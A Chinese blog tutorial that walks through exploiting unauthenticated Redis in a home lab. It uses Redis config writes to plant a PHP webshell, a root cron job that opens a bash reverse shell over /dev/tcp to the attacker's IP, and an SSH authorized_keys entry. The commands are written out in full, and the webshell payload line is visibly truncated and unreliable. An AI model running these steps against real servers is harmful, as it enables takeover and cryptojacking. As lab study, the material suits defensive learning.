【渗透】Redis 未授权访问漏洞利用(三种利用方式)

  • 起序:是因为我同学的云服务器被黑了,被挖矿了,原因就是 redis 可以未授权访问,还是 root 级别的,我直接好家伙,整理记录一下。

一、软件环境

  • 虚拟机:VMware Workstation 15.5.1 Pro
  • Kali:kali-linux-2020.4-installer-amd64.iso
  • CentOS:CentOS-7-x86_64-DVD-2003.iso
  • redis-5.0.5.tar.gz

二、环境搭建

1、CentOS 环境配置

1、启动 Web 服务

安装 httpd 服务,目的是为了下面的 写入一句话 的漏洞利用。

yum install httpd

【渗透】Redis 未授权访问漏洞利用(三种利用方式)_第1张图片

开启 web 服务,当前靶机的 IP 地址为 192.168.1.137

systemctl start http.service

【渗透】Redis 未授权访问漏洞利用(三种利用方式)_第2张图片

如果服务器没有 php 环境,访问 Web 的时候,php 文件是不解析的。(已踩过坑,后来的同志们不要再踩了)
下面链接是之前做的,里面有安装 php 环境的方法,我这里就不想写了,把离线安装看完就行了,如果网络好的话那就用在线安装。php72 依赖包在该文章中提供了。
希望你能看懂。希望你不要光看图片,多看看文字。

  • 【搭建私有云】CentOS 搭建 NextCloud 私有云盘

【渗透】Redis 未授权访问漏洞利用(三种利用方式)_第3张图片

2、启动 redis 服务

如何安装,可以参考下面文章。

  • 没有写,哈哈哈。

关闭 IP 绑定,允许主机远程连接 redis 服务。用 # 号注掉。

在这里插入图片描述

关闭保护模式,允许主机远程连接 redis 服务。

【渗透】Redis 未授权访问漏洞利用(三种利用方式)_第4张图片

启动 redis 服务

./bin/redis-server ./conf/redis.conf 

【渗透】Redis 未授权访问漏洞利用(三种利用方式)_第5张图片

2、Kali 环境配置

安装 redis-cli,可以参考下面文章。

  • 【Kali】Kali 安装 redis-cli

三、漏洞利用

1、写入一句话

1、前提条件

  1. 已知 web 服务的绝对路径;
  2. redis 对 web 目录有写入权限;

2、漏洞利用

/var/www/html 目录下写入一句话木马。

# kali 的 redis-cli 连上 CentOS 的 redis 服务
redis-cli -h 192.168.1.137 -p 6379

# 设置保存的目录
192.168.1.137:6379> config set dir /var/www/html
# 设置保存的文件
192.168.1.137:6379> config set dbfilename shell.php
# 设置保存的内容
192.168.1.137:6379> set x "$_POST['shell']);?>"
# 保存
192.168.1.137:6379> save

【渗透】Redis 未授权访问漏洞利用(三种利用方式)_第6张图片

已经将一句话木马写在了 /var/www/html 目录下,中国蚁剑连接一下。

【渗透】Redis 未授权访问漏洞利用(三种利用方式)_第7张图片


2、计划任务反弹 shell

1、前提条件

  1. redis 以 root 权限运行;

2、漏洞利用

kali 进行监听。

nc -nvlp 1314

【渗透】Redis 未授权访问漏洞利用(三种利用方式)_第8张图片

/var/spool/cron/ 写入定时任务。

# kali 的 redis-cli 连上 CentOS 的 redis 服务
redis-cli -h 192.168.1.137 -p 6379

# 设置保存的目录
192.168.1.137:6379> config set dir /var/spool/cron/
# 设置保存的文件
192.168.1.137:6379> config set dbfilename root
# 设置保存的内容	/bin/bash -i >& /dev/tcp/{攻击机 IP}/{端口} 0>&1
192.168.1.137:6379> set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.107/1314 0>&1\n\n"
# 保存
192.168.1.137:6379> save

【渗透】Redis 未授权访问漏洞利用(三种利用方式)_第9张图片

需要等一会,然后查看监听结果。

【渗透】Redis 未授权访问漏洞利用(三种利用方式)_第10张图片

3、ssh 免密登陆

1、前提条件

2、漏洞利用

kali 本机生成一对公私钥。

ssh-keygen -t rsa

【渗透】Redis 未授权访问漏洞利用(三种利用方式)_第11张图片

查看 id_rsa.pub 内容。

在这里插入图片描述

上传公钥到靶机的 .ssh 目录下(首先 .ssh 文件要存在,我是在靶机 /root 目录下新建的 .ssh 文件)。下面是在 kali 上操作的。

# kali 的 redis-cli 连上 CentOS 的 redis 服务
redis-cli -h 192.168.1.137 -p 6379

# 设置保存的目录
192.168.1.137:6379> config set dir /root/.ssh/
# 设置保存的文件
192.168.1.137:6379>config set dbfilename authorized_keys
# 设置保存的内容
192.168.1.137:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDaRhV49ZWIyTzDu2w6BdDtv4Ej7uouX2G4pgk6Q8pTvZ9rqrQRJvgqlc6/K7BQKltLUpU0Pc/81S2kyDVo5PMm+GPSX8AEHUzW6OaJbMJxAUNZFTRdBgKslpsu3sjJAcm+qDOFpa9qwztoKofwE//mcwy/CflxGVIShOY1T3OKqy8gEBGDvBkulcdXd5EBBJ+OBmF+CQTSTkf7LrUV8+Yx/vMMb0/ZwJ4xeiXiN2GqF/eMjnX/3wugFgMG9YUB+KJWsVxMpul2p14rOHQ5BuNv35VQCZXz7b1w/5eeJ4nLulR5D4qZMgTRA82lFPcABN3pKi+MR0+H9rOE5sqD8OO19CWEonk/N3GkEiFYoiGojRQIQ+WxbGT4bP/V20w7uVZ6Fr6MeVdi1t/fjpVlQ299iQDEIL9F8R96hGAc296HVtcKiG2WHY3SrdsCDPohBim4U0WDmP5yhgxUMVKA0kzdJkGds3zpUpE7xvyrIY8I9Ppo0ple5+ff0ykkkvDJxpE= root@kali\n\n\n"
# 保存
192.168.1.137:6379> save

【渗透】Redis 未授权访问漏洞利用(三种利用方式)_第12张图片

kali 本机 ssh 私钥连接。

ssh -i id_rsa [email protected] -p 22

【渗透】Redis 未授权访问漏洞利用(三种利用方式)_第13张图片

如果对您有帮助,点个赞再走吧。

你可能感兴趣的:(渗透)